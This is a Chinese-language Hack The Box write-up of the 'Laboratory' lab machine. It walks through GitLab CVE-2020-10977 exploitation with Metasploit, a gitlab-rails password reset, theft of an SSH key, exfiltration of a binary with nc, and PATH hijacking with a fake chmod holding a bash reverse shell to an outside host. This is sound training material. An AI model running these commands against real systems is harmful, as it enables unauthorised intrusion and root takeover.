HTB: Laboratory 渗透测试
2021-03-09 22:09:33 Author: www.freebuf.com(查看原文) 阅读量:163 收藏

简介:Hack The Box是一个在线渗透测试平台。可以帮助你提升渗透测试技能和黑盒测试技能,平台环境都是模拟的真实环境,有助于自己更好的适应在真实环境的渗透
链接:https://app.hackthebox.eu/machines/298
描述: 难度:简单/中等 系统:linux
图片.png

本次演练使用kali系统按照渗透测试的过程进行操作,通过端口扫描发现了网站使用的域名,登陆之后获得到系统的版本,利用谷歌,搜索可利用的攻击载荷,修改具有一定权限的用户之后,通过该用户进行提权,获取root权限。

1、靶机ip

IP地址为:10.129.110.208
图片.png

2、靶机端口与服务
nmap -T4 -sV -A -O 10.129.110.208

图片.png

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
3、网站信息收集

进入80端口得到三个用户
图片.png
通过查看前端代码发现没有信息可以收集
想起来知道通过端口扫描开放的443端口
访问git.laboratory.htb
这是一个登录界面注册账号登录后获取gitlab的版本
图片.png
图片.png

获取到gitlab的版本信息通过查找发现存在cve-2020-10977漏洞
可使用该漏洞获取passwd文件
链接:https://github.com/thewhiteh4t/cve-2020-10977
图片.png
之后通过谷歌搜索得到msf的攻击模块中存在可利用的脚本 exploit/multi/http/gitlab_file_read_rce
图片.png
配置完成后进行攻击
成功获取shell
图片.png

1、user.txt

获取shell后,由于用户权限较低我们需要利用gitlab 修改权限相对较高的用户
从第一步的信息收集中知道Dexter是公司的总裁权限较高,可以修改他的密码

gitlab-rails console  进入gitlab模式
user = User.all  查询所有用户
user = User.find(1) 通过id查询用户
修改密码
user.password = 'new_password'
user.password_confirmation = 'new_password' 
user.save
修改用户状态
user.state = 'active'
user.save

图片.png
接下来使用修改过的密码进行登录
用户:dexter
密码:00000000
在dexter的项目中获取id_rsa
图片.png
我们可以通过该秘钥进行ssh远程登录
将内容复制到本地创建的id_rsa中,并赋予权限

chmod 600 id_rsa 其他用户只要有这个权限id_rsa就会被忽略

图片.png
图片.png
进入home目录下获取user.txt
图片.png

2、root.txt

使用LinEnum.sh进行扫描,看看有没有可以用来提权的内容
发现具有suid属性的文件
图片.png
查看文件内容发现是乱码不好看,而且反弹的shell中也没有strings命令
图片.png
使用nc将文件传输到kali中

nc -l -p 1234 > docker-security    kali中的命令
nc  -w 5 10.10.14.11 1234 < docker-security  shell中的命令

发现docker-security中执行了chmod命令
图片.png
通过伪造环境变量修改chmod获取root权限
chmod内容

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.11/4242 0>&1

图片.png
图片.png
获取root.txt
图片.png

https://my.oschina.net/u/3054299/blog/2218505
https://www.cnblogs.com/backlion/p/10503996.html


文章来源: https://www.freebuf.com/articles/web/265634.html
如有侵权请联系:admin#unsafe.sh